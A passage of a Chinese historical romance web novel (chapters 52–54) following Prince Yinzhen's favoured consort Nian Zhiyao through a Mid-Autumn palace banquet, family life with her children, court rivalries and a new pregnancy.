四爷知道后大喜,又往纳喇府上送了不少东西,还专门派人去看了郡主,以示对女儿的看重。
消息传到东院时四格格正陪着弟弟玩着玩具。
年芷瑶对白芨道:“既然如此,记得在小阿哥洗三的时候把礼送过去。”
四爷为着二格格做了不少事,她也不能拆他的台,不过是送些东西过去,花的又是四爷的钱,她也不心疼。
四格格看向额娘,“二格格是我的姐姐吗,为什么我没有见过。”
年芷瑶捏了捏她的脸:“你出生的时候二格格已经出嫁了,所以没有见过。”
四格格似懂非懂地点了点头,嫁人之后连家人都见不到了吗,那三哥,四哥,五哥以后也会嫁人吗。
还没等四格格想明白,六阿哥拉了拉她的衣服,示意她继续陪他玩。
四格格也就没再管,“额娘,我想吃桂花糕。”
年芷瑶笑着答应下来:“好。”
因着太后刚去,今年的中秋宫宴也都是一切从简。
只是该进宫的流程依然是少不了,只是比起之前少带了几支朱钗罢了。
采芙为她梳完妆,看着镜子中的主子,忍不住叹道:“主子可真美。”
年芷瑶笑了笑:“你就会说好听的哄我吧。”
采芙:“主子这就冤枉奴婢了,奴婢说得可是真心话。”
她忍不住又看了主子一眼,明明日夜相处,她怎么觉得主子比刚进府的日子还要更美一些,好似长开了,更多添了几分雍容。
白芨过来道:“奴婢也觉得主子好看。”
年芷瑶:“好好好,今儿个是中秋,我是说不过你们,就赏你们多吃几个月饼吧。”
白芨凑趣道:“多谢主子的赏。”
眼看着就快到时辰了,年芷瑶扶着白芨的手出了府。
迎面瞧见有些日子不见的福晋,她勾唇一笑,“福晋万安。”
福晋看着越发美艳的侧福晋,移开了视线:“妹妹来得倒早了。”
年芷瑶:“自然不敢让福晋久等。”
看四爷出来,年芷瑶看了福晋一眼,然后迎了上去,“爷。”
四爷握住了她的手:“怎么在这等着,别冻着了。”
如今的天一日日冷了起来,若是吹着风就不好了。
年芷瑶笑得越发的甜:“想与爷说说话。”
四爷笑着拍了拍她的手:“快进去吧。”
她点头,由着四爷扶着她进了马车。
即使没看向福晋,年芷瑶也感受到了福晋看过来的视线,她笑得更深了些。
看主子进去,白芍也上了马车。
她眼里满是笑意,低声道:“主子您没瞧见刚才福晋的神色有多难看。”
她知道前些日子主子因着六阿哥有多难过,自然对福晋恨得不行,好在主子爷明是非,夺了福晋手中的权柄。
年芷瑶笑了笑,若不是为了让福晋难受,她何必非要外头再和四爷说上几句话。
白芍为主子整理了一下衣袖,“主子可要喝茶。”
年芷瑶摇头,“先不喝了。”
她嚼了一块玫瑰花糖,进宫总是比不上在家中方便。
永和宫,德妃依旧坐在上首,只是今年的流程和往年不同,要先寄托一下对太后的哀思。
看德妃悲痛的神色,下头人也跟着抹眼泪。
成嫔劝道:“娘娘莫要难过,太后娘娘若是泉下有灵,也定是希望咱们好好的。”
德妃:“是啊,太后娘娘一向疼爱我们这些小辈。 ”
她擦了擦泪:“不说这个了,今日是团圆的日子,倒成我招惹你们了。”
底下一群人跟着夸娘娘有孝心,太后一定会知道的。
年芷瑶也跟着低头配合着表演。
十四福晋看着身旁的十三福晋:“你瞧,四嫂怎么瘦了这么多。”
十三福晋看了她一眼,没有搭话。
十四福晋看兆佳氏不理她,心下也觉得无趣,便坐了回去,心中冷哼一声,这十三嫂可真和十三哥一般,真是四哥的好弟弟呢,在外等闲不说四爷府上的闲话。
她又想起了如今领兵在外的十四爷,说到底十四爷与四哥才是一母同胞的亲兄弟,外人怎么比也比不过吧。
不过,想到这些年十四爷惹他四哥生气的次数,她又有些不确定了。
年芷瑶像是听到什么,她看了一眼福晋,垂下了眸子,福晋这些日子的确瘦了许多,想来身边多了个张嬷嬷,日子过得也不怎么顺心。
福晋看了过来,“妹妹可是有事。”
年芷瑶笑:“我看姐姐清减了不少,有些担心,姐姐对太后再有孝心,也该好好保养身子才是。”
先前发生一事,两人都算得是心知肚明,福晋未讨到好处,惹了四爷的厌弃。
但年芷瑶现下也奈何不了她,只能在外人外面装一装相安无事,顺便再恶心福晋一把。
福晋嘴角:“多谢妹妹关心。”
看着两人的眉眼官司,十三福晋和十四福晋不免对视一眼,之前四嫂和小四嫂都是不搭话的啊,怎么今日这么奇怪。
德妃倒是神色如常,开口问道:“弘昭身子可好,如今天气变幻无常,可要注意保暖才是。”
对着德妃的关心,年芷瑶回话:“是,娘娘慈爱,六阿哥一切都好。”
弘昭是前些日子万岁为六阿哥赐的名字,就在封十四爷为抚远大将军之后没几天。
成嫔搭话道:“是,小孩子都体弱,当年胤佑出生的时候,我是一眼都不敢眨,生怕他有什么不好。”
看着两位娘娘一起怀念她们当时养孩子的艰难,也就没了年芷瑶什么事。
从宫中出来,白芍为她搭上披风。
“爷呢。”
“还没出来呢,主子还是去马车里等吧。”
年芷瑶点头。
等四爷出来,一如既往地先对着年氏的马车嘱咐了句,然后才翻身上马。
福晋冷眼看着,四爷如今连客套话都不与她说了吗。
看着福晋出了神,一旁的张嬷嬷开口道:“福晋,可要用茶。”
福晋看她,冷声道:“不必了。”
因着今日过节,李氏的院子里也送了一桌席面过去。
她看着窗外月色满天,“到中秋了啊。”
琥珀道:“是呢。”
她兴致勃勃地往桌子上摆着菜,她们多日子没吃过这么好了,况且,既然能有席面,想来四爷还没忘记主子,说不定有朝一日,主子还能出去呢。
李氏叹了口气:“也不知二格格可好。”
琥珀:“主子放心,那奶嬷嬷不是来禀说二格格母子均安了吗,等主子出去了,说不定就能看看二格格了。”
若是主子没被禁足,二格格还能回一回娘家,只是如今,回来二格格也没地去,总不能去福晋或是年侧福晋那坐坐吧。
琥珀偷偷叹了口气,又为主子灌了一个热水袋,放在了被子里,这样主子晚上睡觉就不会冷了。
六阿哥正在自己拨着糖炒栗子,他现在也差不多断奶了,正是对各种点心感兴趣的时候,年芷瑶不敢给他吃太多,怕他积食。
就让厨房做了糖炒栗子给他,这东西难剥,又有甜味,只要将这东西给六阿哥,他就能自己玩上许久。
奶娘在一旁仔细看着,生怕六阿哥直接把栗子壳放进嘴里,再给噎着了。
如今天气渐冷,东院早早地便生起了炉子,府里那些人都精得很,怠慢了谁,也不会怠慢了东院。
四爷可是每日都去呢,若是年主子闲来无事地说上一句他们伺候的不尽心,不就全玩完了吗。
年芷瑶坐在炭火前,翻动着自己的烤玉米。
白芨在一旁想了又想,还是将话说出了口:“娘娘想吃这东西,让小厨房做好了送来上便是,仔细累着手疼。”
年芷瑶笑了笑:“你不懂,自己动手自然有自己动手的乐趣。”
白芨见劝不动主子,只能坐在一旁帮着她翻着玉米。
想来主子也是无聊久了,太后丧期未过,主子喜欢的歌舞戏曲都不能听,可不是就是闷得慌。
百姓家许是还能松快一些,可王府人多眼杂,自然得多加小心。
她想了想道:“主子,要不要叫人来打叶子牌。”打牌不比歌舞动静大,又是在自己家里,私下消遣一下也不要紧。
年芷瑶不知白芨想了这么多,她只是想回味一下在夜市上烤玉米的感觉,只是既然白芨提了,她也没有拒绝。
不过她还是先把上次手气最好的白芍排除了,和手气太好的人玩没什么意思,白芍撇了撇嘴,她倒是没什么意见,主子可是说了,今日赢的钱都给她。
第52章 第52章童年
东院的牌桌就这么组了起来,成员有她,白芨,松嬷嬷和白嬷嬷四个人。
白嬷嬷笑着坐了下来,“那奴才就却之不恭了。”
她们做奴才的,平日里的娱乐更少一些,她知道院子里几个守门老妈妈私底下会喝酒打牌,只是她这等在主子身前伺候的,自然是不能喝酒的,喝酒坏事不说,若是让主子闻到了嘴里的酒气那可是大不敬,日后就别想近身伺候了。
是以主子身边有头有脸的嬷嬷太监,一般都是滴酒不沾的。
再说打牌,也得要有合适的人才是,让白嬷嬷跟几个二门外的老婆子一起打牌,也是怪为难她的。
至于和她地位相同的嘛,现下跟在福晋身边的张嬷嬷倒是算一个,与她也相熟,都是一同伺候四爷过来的,只是那张嬷嬷是个闷葫芦,等闲不开口,两人也玩不到一起去。
故而现在年主子相请,她也不推辞,能和主子上一个桌子,自然是主子信任你的意思,她来东院也有几年了,也是头一次能与主子一起打牌。
几个人打了几圈,气氛一片祥和,白嬷嬷率先开口道:“奴才那位老姐姐,平日里最是死心眼,主子吩咐什么便是什么,从来不带打折扣的。”
“能在主子爷身边伺候这么多年,凭的自然是忠心二字。”
和她不同,她那位老姐姐是真能耐得住寂寞的,若不是四爷想用她,她轻易是不会出山的。
年芷瑶了然,她这是在说张嬷嬷呢,她微微一笑,自己还没开口呢,白嬷嬷就知道她想问什么了,这世上果然还是聪明人多啊。
既然知道那待在正院的张嬷嬷靠得住,不会等闲被福晋收买,那她也就放心了,不由得多喂了白嬷嬷两张牌。
一场牌打下来,各个都赢了不少,除了年芷瑶。
白芍苦了脸:“主子,怪不得您赢来的都给奴婢吗,合着您是知道自己不赢钱啊。”
几人笑了起来。
年芷瑶点了点她:“我还能亏了你不成,白芨,把我那副新得的珍珠耳坠子给她。”
白芍也不客气:“奴婢多谢主子的赏。”
六阿哥虽然不懂发生了什么,但也跟着笑了起来,他将手伸了过去:“额娘,吃。”
年芷瑶一看,是刚才六阿哥剥了半天才剥出来的栗子,虽然上面布满了口水和牙印,但也让她感动得不行,直到晚上和四爷躺在床上时,还忍不住说着六阿哥喂她的栗子。
四爷叹道:“六阿哥是个好孩子。”
年芷瑶刚想表示赞同,四爷的思绪就彻底发散起来,从四格格的开朗大方夸到六阿哥聪明懂事,仿佛天底下人类的美好品质都在她两个孩子身上了。
年芷瑶面色古怪地看着他,她只是想抒发一下儿子可爱,四爷怎么还上纲上线起来了。
最后,四爷总结道:“你生的两个孩子都是
极好的。”
年芷瑶被四爷的迷魂汤灌得有些不知东南西北,她抱着被子止不住地点头,虽然从老母亲的角度怎么看自家孩子都觉得好,只是她还是忍不住怀疑,四爷说的是那个调皮的四格格和捣蛋的六阿哥吗。
他真的没有滤镜吗。
今日东院各处都喜气洋洋的,原因无他,今儿个是四格格的生辰,虽还不能张灯结彩,但该有的都得有。
四格格从早上醒来便一直在收着礼物,她抱着额娘特意给她缝的大老虎玩偶,笑得十分高兴,这个玩偶好大,都快比她还要高了,而且软软的,她决定一会儿就把老虎放在她的床上,陪着她睡觉。
她道:“额娘,我好喜欢这个老虎。”
年芷瑶笑道:“你喜欢便好。”她也算是没白做。
四爷送给四格格的是一匹火红的小马,她收到之后就迫不及待地去瞧了瞧,回来之后便一直说小马的可爱。
勾得六阿哥也想去看,不停对着额娘说着:“马,马。”
年芷瑶捏了捏他的脸:“那是姐姐的马,等弘昭长大后也会有自己的小马的。”
四格格倒是十分大方:“我的马也可以给弟弟骑。”
“阿玛说了,等过两日就给我安排谙达学习骑射,等我学会了就带着弟弟骑马。”
六阿哥听懂了,“好,骑马,喜欢姐姐。”
他上前去亲了一口四格格。
四格格也笑着亲了他一口:“我也喜欢弟弟”。
年芷瑶将他抱了过来,不怀好意地道:“那六阿哥是更喜欢额娘还是更喜欢姐姐。”
论拥有一个无良额娘的代价,就是在还不满两岁时就要面临这种死亡问题。
六阿哥有些犹豫,他先是看向自己额娘。
年芷瑶诱惑他:“说最喜欢额娘的话今日可以多加一份点心哦。”
四格格在一旁道:“姐姐可以带你去骑小马哦。”
六阿哥犹豫不决,小小年纪的他虽然还不是很明白,但还是下意识避免在额娘和姐姐中选一个。
还是四爷为六阿哥解了围,他将六阿哥从两人中间抱了出来,瞪了瑶儿一眼:“又逗他。”
年芷瑶笑得不行,她靠在四爷身上:“那爷呢,是更喜欢我还是更喜欢孩子。”
看两个孩子都跟着她的话看了过来,四爷不免揉了揉脑袋。
他看向四格格:“塔娜先带弟弟去玩好不好。”
四格格乖巧点头,嬷嬷同她说过,有些时候阿玛和额娘要单独待在一起,她不能过去打扰,想来如今就是嬷嬷说的那个时候吧。
见两个孩子手拉手地去了院子,四爷将目光移了过来,并不说话。
年芷瑶不满地撇了撇嘴,“果然在爷心里,我没有四格格重要。”
她想到之前四爷夸着两个孩子的话,这些话四爷从来没有对她说过,果然在男人心里,孩子才是最重要的。
四爷看着真的觉得委屈的瑶儿,无奈道:“又在说胡话。”他靠近她的耳畔低声说道:“在爷心里,你最重要,谁都比不过你。”
年芷瑶顿时满脸通红,像是触电了一般,平日里不说情话的男人突然开口,杀伤力也太大了吧。
她将脸埋进四爷身上,“我也最喜欢胤禛了。”
她小声喊着四爷的名字。
看着瑶儿害羞的样子,四爷忍不住凑近她亲了两口,伸手捏了捏她越发红润的耳垂,“瑶儿真可爱。”
年芷瑶迷迷糊糊地想到,没想到她一个现代人,却比不过四爷这个老古董会调情。
她愤恨地咬了四爷一口。
因着四格格生日,今日的午膳尤为丰盛,小厨房也将做好的蛋糕送了过来,第一次吃到蛋糕的六阿哥忍不住惊叹,“额娘,我生日的时候也有这个吗。”
年芷瑶点头:“当然。”
“那我也要快快长大。”
她面色温柔:“额娘的弘昭慢慢长大就可以,不用着急。”
将人生的时间用数据来衡量,能算作童年的时光想来只有十分之一,比起往后做大人的时间来说,已经是少得可怜了,何必要着急长大呢。
她更希望她的孩子能有一个快乐的童年。
四爷神色温柔地看着瑶儿同六阿哥说话。
六阿哥还不是很懂,但既然额娘这样说,他也就跟着点了点头。
晚间,四爷突然开口,说想今年过年时想带着四格格进宫给娘娘看看。
年芷瑶起身看他:“四格格还小呢。”
四爷扶住她:“已经不小了,四阿哥同五阿哥两岁时便进宫了。”
年芷瑶:“可是。”
四爷知道她是在担心四格格,只是如今四格格也大了,身子也康健,能进宫请安也是件好事。
他道:“放心,有爷在呢。”
年芷瑶妥协道:“好吧。”
她不想让女儿进宫,在府里,四格格是四爷最宠爱的女儿,是金尊玉贵的格格,可进了宫,即便她是皇上的孙女,又有谁在意呢。
万岁爷有那么多的孩子,光是阿哥就有二十四个,疼自己的小儿子都疼不过来,会对孙辈能有多少疼爱,就是进宫读过书的弘时,想来也没见过万岁几面。
可在世人看来能进宫都是有福气的,连四爷都这样认为,她就更没什么理由反驳了。
因着四爷的突发其想,年芷瑶只能突击培训四格格的用餐礼仪。
还好之前嬷嬷也教过四格格一些规矩,只是家里人都宠她,自然也没怎么用过。
四爷不在意女儿对不对他行礼,她自然也不会说四格格要先对她问安之后才能吃饭。
至于福晋,她怀孕之前就不正院请安了,如今两人相看两厌,她自然不会将女儿带过去受磋磨。
不过既然要进宫,那至少要把架子搭起来,也得让四格格知道娘娘一同用膳的时候,不能和娘娘说什么今天抓了一个特别大虫子,然后把它放在了五阿哥的书包里这种事。
等四格格勉强理解了食不言之后,她又问道:“额娘,为什么在吃饭的时候不能看着娘娘呀。”
年芷瑶解释道:“人在吃饭的时候难免不雅,就像你在吃饭的时候,遇到不好吃的东西时候可能会把它吐出来,也不想被旁人看见是不是,那娘娘是你的祖母,你自然要尊重她,所以不可以直视娘娘用膳。”
奶娘在一旁想说些什么。
四爷则是有些沉默。
但四格格信了,她点头:“额娘,我知道了,我不会盯着娘娘的。”
年芷瑶松了口气,头一次她有些怀疑自己是不是对四格格的教导太过随心所欲了,四格格生在皇家,若是对什么事都没有敬畏之心,日后对她来说也许不是件好事。
常言道养儿一百岁,常忧九十九,古人诚不骗她。
第53章 第53章偏爱
康熙五十八年的新年,就在一片平静中到来。
年芷瑶带着四格格进了宫,好在德妃见了四格格很是喜欢,都说女儿肖父,四格格就和四爷十分相像。
德妃见了难免有些移情,她让四格格坐在了她身前,又拿了点心给她吃。
显然这一个多月的集训还是有些用的,四格格十分乖巧待着德妃身边吃着点心,只晃了晃双腿。
因着德妃的缘故,永和宫里的人对着四格格也很是和善。
回到府里,年芷瑶对四爷说着德妃对四格格的喜爱。
提到娘娘,四爷不免又想起了十四,他皱了皱眉。
如今西北正在打仗,虽战事不紧,但京中的气氛到底与往日不同。
万岁将粮草辎重的事交给了四爷,也就是说身在前线的弟弟和大舅哥,能不能吃得饱就指着四爷了。
四爷越发忙了起来,都说打仗是最费银子的事,尤其是现下国库不丰,如何筹措银子就成了难题,这几日她没少听四爷骂八爷,说他当时追缴欠银时拿国库的银子做人情,如今这般也是自找的。
得,还说今年能去园子里玩呢,想来也是去不成了。
只是整日发这么大的火气
对身子可不好,年芷瑶让小厨房每日熬了莲子百合羹给四爷送过去。
这日,四爷拉着十三爷在前院商议事情。
年芷瑶和十三福晋在屋子里头面面相觑,明明是喊十三爷过来用饭的,可还没说上两句话来他们便跑到书房了。
她只能道:“他们男人忙他们的去,咱们玩咱们的。”
十三福晋兆佳氏笑道:“是呢,四嫂。”
年芷瑶看着兆佳氏身边的孩子:“这是弘眖吧。”
弘眖是十三爷的第五子,兆佳氏所出,康熙五十五年生人,想来是因着他与六阿哥年纪相仿才带过来的。
兆佳氏推了推他:“快去给伯娘请安。”
弘眖眼神清亮,看起来十分懂事。
年芷瑶摸了摸他的头:“真是个好孩子,去找弟弟玩吧。”
兆佳氏不是个相处的性子,虽说两人之前并没有怎么交谈过,只是女人嘛,聊聊天气,衣服,首饰,最不济还能聊孩子,总能聊到一块去。
四爷和十三关系好,她们的关系就会好。
兆佳氏也不会提为何午膳不在福晋那用,既然十三爷选择跟着四爷,那她也就跟着四爷。
屋子里头两个堂兄弟玩得也不错,六阿哥很少见到和他差不多大的男孩子,把所有的玩具都贡献了出来。
弘眖也喜欢这里的玩具,直到走时还恋恋不舍。
年芷瑶便开口让人再做一份给十三府上送去。
兆佳氏还要推辞。
年芷瑶道;“不值得什么,难道他四伯一个王爷,给侄子打套玩具都打不起吗。”
兆佳氏笑道:“倒是我贪嫂子的了。”
待十三福晋走后,年芷瑶揉了揉笑得有些僵硬的脸,“可算是完事了。”
白芨笑着给她倒了杯茶:“主子可要歇歇。”
年芷瑶摆了摆手:“我得去歪歪,等爷来了再喊我。”
许久未这么应酬过了,还觉得有些不适应呢。
白芨:“唉。”
晚间,四爷来东院问道:“十三福晋可还好。”
年芷瑶笑:“好,怎么不好,难道她还会给我脸色看吗。”
“真是不识好歹。”他捏了捏年芷瑶的脸:“爷是怕你受了委屈。”
“我知道。”年芷瑶吐字不清地说:“爷放心,有爷在,谁敢欺负我。”
这马屁拍得好,把四爷给乐得不行。
他道:“如今亮工在西北,你家中想必也着急,不如请年夫人过来坐坐也好。”
年芷瑶惊喜地看他:“爷,可是有什么消息。”
四爷拍了拍她:“不用担心。”
既然四爷这么说了,那她也就不担心了,她对白芨要请额娘过来坐坐。
白芨笑着应下。
年芷瑶翘首以待,等看见额娘过来,忙带着四格格和六阿哥过来见礼。
虽说两个孩子满月时额娘都来了,可到底和如今这正式拜见的不同,听见两个孩子叫她外祖母,年夫人高兴得不行。
她抱着两个孩子亲热起来,“好孩子,都是外祖母的好孩子。”
四格格稍大些,对年夫人还是有些印象的,她记得自己有一套常用的金碗,便是外祖母送给她的。
六阿哥就一点都不记得了,可额娘说,外祖母是额娘的额娘,他便天然生出一份亲近来。
年夫人对她们更是爱得不得了,要不是四格格还小,恨不得把祖传的玉镯子送了出来。
年芷瑶忙拦住了自己额娘。
她先替四爷说了句二哥在外头一切都好,让家中不要担心。
年夫人笑着应了,她也品出来些四爷对女儿的爱重,若不是真心疼爱,怎么会连娘家的事都为她想着。
她道:“侧福晋之前说,怕羹尧平日里太过倨傲,我和你阿玛一直都去信提醒着他,侧福晋放心吧。”
年芷瑶笑道:“那便好。”
她二哥是听得进去的话,有额娘的打算,她也就省下来了不少担忧。
母女两个多日未见,自然有说不完的话要聊。
年夫人在外头,倒是比她在府里消息灵通,与她谈了不少京城里的八卦,什么谁家中的老爷人老心不老,与女儿身边的小丫头勾搭上了,一生清誉毁了大半,谁家又养个小戏子,正和家里闹得不可开交。
年芷瑶:“养戏子不是常事吗。”
不是她有偏见,而是实在不能对这些人的节操有多少期待。
年夫人看她:“那戏子是男的。”
年芷瑶瞪大眼睛,听得津津有味。
一见四爷回来,她便忍不住分享给了他。
四爷:“这有什么。”
他笑了笑她,瑶儿平日里就爱看个戏本子,里面都是些才子佳人的故事,最坏的角色也不过是恶婆婆之流,要论这京中的龌龊事,可比话本子里污糟得多。
年芷瑶瞪大眼睛,原来是她见识少了——
春去秋来,转眼六阿哥也到了开蒙的年纪。
与四格格一样,也是要先去书房上个半天的课,能和姐姐一起去上课,六阿哥开心极了,其实若不是他实在想去,年芷瑶其实想让他等上半年再去读书的。
只是看着儿子的大眼睛,年芷瑶也说不出拒绝的话来。
四格格下午也多了一个时辰的骑射课,四爷说之前满蒙姑娘们的骑射大都特别好,只是他们满族的女子受到汉族的影响太深了,一个个都往娇弱的方向养。
年芷瑶点头同意,她这几年也见过不少宗室格格,一水的温柔体贴,像一朵娇花,可鲜花金贵,离了养育她的土地,就难以养活。
若是被送去蒙古和亲,生存率更是直接减半。
她无意将女儿养成那样,这世道对女子本就不公,若是逆来顺受,日子更是难过。
她想让女儿无论在哪里的土地上都能坚韧地活下去,既然四格格愿意学骑射,她自然没有不同意的道理。
今日是六阿哥进学的第一天,两个孩子都不在,年芷瑶百无聊赖地在屋里等着,也不知道六阿哥能不能适应。
好不容易等到四格格同六阿哥回来,年芷瑶便问道;“弘昭可适应,”
六阿哥一本正经地坐在那,“回额娘的话,儿子觉得很好。”
年芷瑶在心里啧了一声,明明儿子之前还是额娘长额娘短的,怎么才上学第一天,就成老学究了,定是先生的事吧。
她忍不住和四爷抱怨,儿子与她不亲了巴拉巴拉的。
四爷笑了起来:“六阿哥是长大了。”
“小孩子长大后难免这样。”他起身看向瑶儿:“瑶儿若是想要个黏人的孩子,不如给爷再生一个吧。”
年芷瑶白了他一眼,就知道骗她生孩子。
“都是爷的不好。”
四爷瞪着眼睛。
沉浸在儿子与自己不亲的额娘难免有些无理取闹,“若不是爷说让六阿哥去读书,六阿哥怎么会这般。”
四爷为自己辩解道:“三岁也该开蒙了,况且只是去上半天的课。”
只是,他看着瑶儿泪汪汪的眼睛,只能投降道:“是爷的错。”
他看了一眼瑶儿,他怎么觉得如今瑶儿的模样有些熟悉呢。
事实证明,她的担心有些多余,因为六阿哥没过两天又恢复了之前那般黏着她的模样。
年芷瑶问六阿哥前些日子是怎么回事。
他道:“是先生教我的,对额娘要知礼。”
年芷瑶和四爷对视一眼,不约而同地有些无奈。
钮祜禄氏正在给四阿哥夹菜,“这些日子在前头读书,可有什么不懂的。”
四阿哥:“额娘放心,先生教的儿子都懂。”
钮祜禄氏点头:“如今你六弟也进了书房,若是有什么矛盾,你多让着他些。”
四阿哥:“是。”
对着儿子都明白的眸子,钮祜禄氏不免觉得有些心酸,可她与儿子都不是四爷偏爱的那个,又有什么能与侧福晋和六阿哥抗衡的呢。
钮祜禄氏道:“六阿哥还小,而你已经长大了,若是你与六阿哥起了冲突,即便是六阿哥得不对,你也有不爱护幼弟之嫌。”
王爷自己与
兄弟不和,自然会期待儿子与他不同。
四阿哥点头,“儿子会做一个好哥哥的。”
看着懂事的儿子,钮祜禄氏只觉得近日的烦闷一扫而空,她的弘历这般聪明,读书上也时常惹四爷和先生夸赞。
那五阿哥与四格格玩得再好又如何,平日里只顾调皮玩闹,四爷又怎会将大任交给五阿哥。
又过了两天,四爷在练字时像是想到了什么。
他猛然起身,在一旁伺候苏培盛吓了一下,轻声道:“爷。”
四爷人已经走到门口了,“让李大夫去东院。”
苏培盛连忙跟了上去,“是。”
第54章 第54章又怀孕了?
李大夫被慌里慌张的苏培盛拉到了东院,心中微惊,以为是侧福晋出了什么事了呢,可看两位主子恍若无事地喝着茶,他一时有些反应不过来。
四爷见他过来,说了句:“给你年主子把把脉。”
年芷瑶有些奇怪,“好好的为什么要把脉。”今天也不是请平安脉的时间呀。
四爷拉着她坐下,“爷突然想起来了,就当是请平安脉了。”
既然主子爷都这么说了,李大夫只好从善如流,为侧福晋把了把脉,他沉思片刻,然后有些惊喜抬头:“恭喜王爷,侧福晋这是有孕了。”
年芷瑶扭头看向四爷,她有孕了,什么时候,四爷是怎么知道的。
她想起前段时间四爷看过的医书,难道四爷这么能干,如今连脉象都会看了。
她本来就是午觉刚睡醒的状态,如今就更蒙了。
四爷则是哈哈大笑,“好,爷就知道。”
这下别说年主子了,就是苏培盛也有些懵,他实在没想明白四爷是怎么练字的时候突然发现年主子有孕了,难道是与年主子腹中的小阿哥心意相通了。
不然怎么解释年主子自己还未察觉,四爷就知晓了。
听见大夫诊出了喜脉,东院的人都晚了半拍才跪下道了喜,没办法,她们这些贴身伺候的还没发现,主子爷却直接带着大夫来了,这不是在说她们伺候的不好吗。
四爷问道:“你年主子这胎可有什么要紧的。”
李大夫躬身道:“眼下侧福晋的月份还小,自然要多加小心,不过侧福晋身子康健,只要多休息便可。”
说真的,侧福晋真不是难伺候的主子,不爱折腾人不说,身子也好,生下的孩子也康健,又听医嘱,可以说是照看起来最省心的一类主子。
“好。”四爷看他:“你年主子这胎爷就交给你了,若是有什么不好,你知道轻重。”他的眼神偏冷。
李大夫,“是,主子爷放心,奴才定会竭尽所能。”
等四格格同六阿哥下了学进来,便看着额娘身边围了一圈的人,又瞧见了李大夫,四哥哥不免有些着急。
年芷瑶看见女儿,忙对她招了招手。
四格格跑了过来:“额娘,你怎么了,可是生病了。”
她皱起眉头,她记得去岁冬天她就生了病,连喝了一周的苦药,她怕额娘也病了。
四爷笑道:“塔娜别担心,你额娘是有孕了。”
“有孕。”四格格想了想,“是我又要有弟弟了吗。”
四爷笑了起来,摸了摸她的脑袋,“是啊,塔娜又要有弟弟了,高兴吗。”
六阿哥拽住了额娘的手:“什么是弟弟。”
四格格解释道:“你当时就是被额娘这么生出来的,阿玛说额娘有孕之后,突然有一天你就出来了,如今额娘又怀孕了,我们就又要有弟弟了。”
见姐姐说得头头是道,六阿哥也跟着点头:“可我不想要弟弟,额娘能给我生个哥哥吗。”
他如今在上书房和四哥,五哥一起上课,他们都对他很客气,可两个哥哥对他再是客气和善,也不如他与姐姐亲近。
他知道自己和姐姐都是额娘生的,所以关系才这么好,若是额娘再生个哥哥和他一起去书房读书就好了。
四格格道:“那我想要姐姐。”
年芷瑶哭笑不得,“不行哦,额娘只能生出比你们小的弟弟妹妹,不能生出哥哥姐姐来。”
六阿哥:“那以后我能和弟弟一起去读书吗。”
四爷:“当然可以,等弟弟长大了,你就可以带着他去书房读书了,就像你和姐姐一起一样。”
六阿哥握住拳头:“那我会好好教弟弟认字的。”
年芷瑶摸了摸六阿哥的头:“弘昭真棒。”
自从白芨她们知道她有孕之后,年芷瑶仿佛变得生活不能自理了一样,周围人都小心翼翼的,连四爷晚上都要先把她扶上床,然后才去洗漱的。
“爷,你是怎么知道我怀孕了的呀。”她好奇问道。
四爷对她一笑,然后吻上了她的唇,空气里的热度不断上升,最后在屋子里化作蒸汽挥发掉。
年芷瑶被他吻得晕晕乎乎,实在忘了方才想问的是什么了。
她握住四爷的手,声音软糯:“爷。”
四爷拍了拍她,“快睡吧。”
看瑶儿是真的睡着了,四爷不免松了一口气,他总不能说,每次瑶儿怀孕的时候脾气都会变得难以琢磨,他才想着让李大夫过来瞧瞧的。
他还不想被瑶儿赶去睡在前院。
第二天一早,四格格便带着六阿哥来了额娘这。
年芷瑶看着两个孩子在她床前站好,有些好笑地道:“这是怎么了。”
四格格道:“我想与弟弟打个招呼。”
六阿哥点头:“我也想。”
年芷瑶:“你们想怎么打招呼。”
四格格歪了歪头:“摸一摸。”
年芷瑶笑了出声,将她们的手放在了自己肚子上,道:“摸吧,只是现在弟弟还小,摸不到什么。”
四格格和六阿哥摸的十分小心,两人对视一眼,便跑走了,他们边跑边喊:“额娘我们去上学了,等午膳时再来看你。”
等在门口的奶娘太监在后面追,“小主子您慢些,别摔着了。”
留下一头雾水的年芷瑶,她已经到了理解不了小孩子脑回路的年纪了吗。
她摇了摇头,决定先不管了,然后又睡了个回笼觉,就像没发现来月经之前就察觉不到痛一样,发没发现怀孕也是两种状态,比如年芷瑶,现在就困得厉害。
好像是大脑在说,这人怀孕了,快给她上反应一样。
看主子还在睡,采蕖便坐在门口为四格格缝一些手帕,四格格平日里用手帕用得废一些,她得空就会做上一些。
白芨过来看她绣得精心,便道:“这些让针线房的人做便是,仔细别伤了眼睛。”
采蕖道:“不碍事,左右我闲来无事,白芨姐姐快去忙吧。”
白芨笑笑,准备去小厨房要一些水果。
年芷瑶尝了一口糖渍樱桃,说道:“这个不错,下次拌上酸奶试一试。”
白芨笑着答应。
主子再次有孕,东院上下喜出望外,世人讲究多子多福,主子只有一个阿哥还是少了些,说句不吉利的话,六阿哥如今看着是好好的,可坏事发生之前,又有谁能想得到呢。
是以,多生几个阿哥才最是保险的。
四爷也高兴得不行,还特意去给万岁爷道喜。
康熙看着自己的四儿子,笑道:“好,等这个
孩子出生,朕为他起名。”
四爷笑着谢恩:“多谢皇阿玛。”
听说万岁要为四爷还未出生的孩子起名字,九爷不免有些心酸,他在院子里喝着酒:“四哥的孩子还不知是男是女呢,皇阿玛就想着要为他起名了,我的阿哥都快周岁了,老爷子也没想起来。”
十爷看他:“九哥,你喝多了。”
九爷挥开他:“我没喝多,皇阿玛就是偏心,四哥是亲王,十四去了西北,现在成大将军了,八哥呢,八哥去哪了。”
一旁的伺候的小太监吓得不行,生怕自己今日在这伺候完,就见不到明日的太阳了。
九爷喝得沉醉,他与八哥自小玩大,就算刚开始未必有多少真心,可八哥一向能干,也能摸到皇阿玛的脉,久而久之,他也就真的佩服上了这个哥哥。
十爷将九爷酒杯夺走,“我的九哥,我喊你亲哥了还不行吗,你别喝了。”
还说阿哥呢,你那个阿哥,可是太后孝期搞出来的,虽说过了小祥,可到底也不好看,皇阿玛没罚你都是好事,还取名呢。
他看向九爷身边的太监:“还不快去给你家爷上碗醒酒汤来。”
“诶。”小太监忙不迭地跑了,他擦了擦头顶的汗,他的亲娘啊,差点就没命了。
小太监机灵,不光去了膳房要醒酒汤,还派人去喊了福晋过来,说是九爷喝多了,在十爷面前耍酒疯呢。
九福晋本来不想管这些破事,可到底十爷在这,她怕不好看,只能捏着鼻子过来了。
